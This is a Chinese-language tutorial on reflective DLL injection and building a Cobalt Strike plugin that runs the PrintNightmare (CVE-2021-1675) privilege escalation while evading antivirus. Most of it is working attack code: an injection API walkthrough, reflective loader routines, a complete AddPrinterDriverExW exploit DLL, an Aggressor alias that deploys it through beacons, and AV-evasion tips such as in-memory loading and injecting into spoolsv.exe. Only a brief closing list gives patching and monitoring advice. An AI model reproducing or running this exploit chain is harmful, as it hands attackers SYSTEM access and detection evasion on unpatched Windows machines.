CS插件之DLL反射加载EXP绕过AV提升权限
字数 2328 2025-08-03 16:47:37
DLL反射加载技术及CVE-2021-1675提权利用详解
0x00 前言
本文详细讲解DLL反射加载技术原理及其在Cobalt Strike中的实际应用,结合CVE-2021-1675本地提权漏洞(PrintNightmare)实现绕过AV检测的权限提升方法。内容涵盖DLL注入基础、反射加载实现原理、CS插件开发以及漏洞利用细节。
0x01 DLL注入基础概念
1.1 DLL注入定义
DLL注入(DLL Injection)是一种强制目标进程加载指定动态链接库的技术,使目标进程执行注入的代码。主要用途包括:
- 修改程序行为
- Hook系统调用
- 读取敏感数据
- 扩展程序功能
1.2 常规DLL注入方法(远程线程注入)
实现步骤:
- 获取目标进程句柄(OpenProcess)
- 在目标进程空间分配内存(VirtualAllocEx)
- 写入DLL路径(WriteProcessMemory)
- 获取LoadLibrary地址(GetProcAddress)
- 创建远程线程执行LoadLibrary(CreateRemoteThread)
关键API:
HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
HANDLE CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
1.3 常规注入的局限性
- 依赖系统LoadLibrary函数
- DLL文件需要落地磁盘
- 容易被进程监控工具检测(如Process Explorer)
0x02 DLL反射加载技术
2.1 反射加载原理
反射DLL注入不依赖系统LoadLibrary,而是:
- 将完整DLL写入目标进程内存
- 执行地址无关的ReflectiveLoader函数
- 在内存中完成DLL的展开和修复
- 最终调用DllMain函数
优势:
- 无需DLL文件落地
- 隐藏模块,躲避常规检测
- 更加隐蔽
2.2 反射加载实现流程
基于Stephen Fewer的ReflectiveDLLInjection项目分析:
-
定位DLL内存地址:
- 通过PEB遍历获取kernel32.dll和ntdll.dll基址
- 获取关键函数地址(LoadLibraryA、GetProcAddress、VirtualAlloc、NtFlushInstructionCache)
-
内存加载DLL:
- 分配新内存空间(SizeOfImage)
- 复制PE头部和所有节区
- 修复导入表(IAT)
- 处理重定位表
-
执行DLL入口:
- 获取AddressOfEntryPoint
- 刷新指令缓存(NtFlushInstructionCache)
- 调用DllMain函数
关键代码片段:
// 分配内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 复制PE头
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while(uiValueA--)
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// 复制节区
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while(uiValueE--) {
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while(uiValueD--)
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
2.3 反射加载与常规注入对比
| 特性 | 常规DLL注入 | DLL反射加载 |
|---|---|---|
| 依赖LoadLibrary | 是 | 否 |
| 文件落地 | 需要 | 不需要 |
| 模块可见性 | 可见 | 隐藏 |
| 实现复杂度 | 简单 | 复杂 |
| 检测难度 | 较易 | 较难 |
0x03 Cobalt Strike反射注入插件开发
3.1 CS反射注入功能
Cobalt Strike内置反射加载功能,通过bdllspawnaggressor函数实现:
bdllspawn($1, $2, $3, $4, $5, $6)
参数说明:
- $1 - beacon ID(可数组)
- $2 - 反射DLL本地路径
- $3 - 传递给DLL的参数
- $4 - 任务描述
- $5 - 等待输出的超时时间(ms)
3.2 示例插件开发
- 编写反射DLL:
#include <stdio.h>
#include "ReflectiveLoader.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch(dwReason) {
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if(lpReserved != NULL) {
printf("参数: '%s'\n", (char*)lpReserved);
}
MessageBoxA(NULL, "注入成功", "提示", MB_OK);
fflush(stdout);
ExitProcess(0);
break;
// 其他case处理...
}
return bReturnValue;
}
- 编写CNA插件:
alias hello {
bdllspawn($1, script_resource("bin/ReflectiveDll.x64.dll"), $2, "测试DLL", 5000, false);
}
- 编译注意事项:
预处理器定义需包含:
REFLECTIVE_DLL_EXPORTS
REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
WIN_X64
0x04 PrintNightmare漏洞分析(CVE-2021-1675)
4.1 漏洞概述
Windows Print Spooler服务权限提升漏洞,允许低权限用户加载恶意驱动DLL实现SYSTEM权限执行。
影响范围:
- Windows 7/10全版本
- Windows Server 2008-2019
4.2 漏洞原理
漏洞点位于RpcAddPrinterDriver接口,通过AddPrinterDriverEx函数传入特殊flag(0x00008000)可绕过权限验证,加载未签名驱动。
关键利用代码:
DRIVER_INFO_2 driverInfo;
driverInfo.cVersion = 3;
driverInfo.pDriverPath = L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64\\UNIDRV.DLL"; // 合法驱动路径
driverInfo.pDataFile = L"恶意DLL路径";
driverInfo.pConfigFile = L"恶意DLL路径";
driverInfo.pEnvironment = NULL;
driverInfo.pName = L"任意名称";
AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
4.3 自动化驱动路径获取
wchar_t* findDLLPath() {
wchar_t targetDLLPath[MAX_PATH] = {0};
DWORD dwNeeded, dwReturned;
LPBYTE lpDriverInfo;
EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);
lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);
DRIVER_INFO_2* pInfo = (DRIVER_INFO_2*)lpDriverInfo;
for(DWORD i=0; i<dwReturned; i++) {
if(wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {
// 提取路径并拼接UNIDRV.DLL
// 检查文件是否存在后返回
}
pInfo++;
}
LocalFree(lpDriverInfo);
return targetDLLPath;
}
0x05 综合实现:反射DLL+PrintNightmare提权
5.1 完整实现代码
#include "ReflectiveLoader.h"
#include <Windows.h>
#include <stdio.h>
#include <Winspool.h>
extern HINSTANCE hAppInstance;
int exploit(wchar_t* pthDll) {
WCHAR payloadPath[MAX_PATH] = {0};
WCHAR targetDLLPath[MAX_PATH] = {0};
wsprintf(payloadPath, L"%s", pthDll);
wsprintf(targetDLLPath, L"%ls", findDLLPath());
DRIVER_INFO_2 driverInfo;
driverInfo.cVersion = 3;
driverInfo.pConfigFile = payloadPath;
driverInfo.pDataFile = payloadPath;
driverInfo.pDriverPath = targetDLLPath;
driverInfo.pEnvironment = NULL;
driverInfo.pName = L"ExploitDriver";
DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
if(addPrinter) {
printf("[+] 提权成功!\n");
} else {
printf("[-] 错误代码: %d\n", GetLastError());
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
if(dwReason == DLL_PROCESS_ATTACH) {
hAppInstance = hinstDLL;
if(strlen((char*)lpReserved) > 0) {
exploit(charTowchar((char*)lpReserved));
}
fflush(stdout);
ExitProcess(0);
}
return TRUE;
}
5.2 CS插件集成
alias pn_lpe {
local('$bid $dllpath');
$bid = $1;
$dllpath = getFileProper(script_resource("bin/PrintNightmare.x64.dll"), "path");
bdllspawn($bid, $dllpath, "", "PrintNightmare LPE", 5000, false);
}
5.3 绕过AV关键点
- 内存加载:反射注入避免文件落地
- 代码混淆:对反射DLL进行混淆处理
- 合法驱动:使用系统自带UNIDRV.DLL
- 进程选择:注入spoolsv.exe系统进程
0x06 防御建议
- 禁用Print Spooler服务(非打印服务器)
- 安装微软安全补丁(KB5005565等)
- 限制spoolsv.exe的DLL加载
- 监控AddPrinterDriverEx等API调用
- 启用攻击面减少规则(ASR)